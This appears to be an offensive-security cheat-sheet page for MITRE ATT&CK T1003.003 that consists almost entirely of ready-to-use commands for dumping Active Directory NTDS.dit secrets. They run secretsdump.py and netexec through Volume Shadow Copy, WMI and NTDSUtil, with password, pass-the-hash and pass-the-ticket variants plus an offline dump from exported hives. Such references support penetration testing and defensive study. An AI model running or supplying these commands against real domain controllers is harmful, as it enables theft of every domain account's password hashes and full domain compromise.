NTDS secrets
MITRE ATT&CK™ Sub-technique T1003.003
Theory
Practice
Secretsdump.py
# Remote dumping of NTDS.dit using Shadow Copy
secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET' -use-vss -just-dc
# Remote dumping of NTDS.dit using Shadow Copy (pass-the-hash)
secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/USER@DC_TARGET' -use-vss -just-dc
# Remote dumping of NTDS + SAM/LSA via WMI Shadow Copy (WMI/DCOM, no RemoteRegistry)
secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/USER@DC_TARGET' -use-remoteSSWMI -use-remoteSSWMI-NTDS
# Remote dumping of NTDS.dit using Shadow Copy
secretsdump.py -k -no-pass 'DOMAIN/USER@DC_TARGET' -use-vss -just-dc
# Offline dumping of NTDS.dit secrets from exported files/hives
secretsdump.py -system '/path/to/system.save' -ntds ntds.dit.save LOCALNetExec
### Shadow Copy
# Remote dumping of NTDS.dit using Shadow Copy
netexec smb $TARGETS -d $DOMAIN -u $USER -p $PASSWORD --ntds vss
# Remote dumping of NTDS.dit using Shadow Copy (pass-the-hash)
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --ntds vss
# Remote dumping of NTDS.dit using Shadow Copy (pass-the-ticket)
netexec smb $TARGETS -k --use-kcache --ntds vss
### NTDSUtil
# Remote dumping of NTDS.dit using NTDSUtil
netexec smb $TARGETS -d $DOMAIN -u $USER -p $PASSWORD -M ntdsutil
# Remote dumping of NTDS.dit using NTDSUtil (pass-the-hash)
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M ntdsutil
# Remote dumping of NTDS.dit using NTDSUtil (pass-the-ticket)
netexec smb $TARGETS -k --use-kcache -M ntdsutilResources
Last updated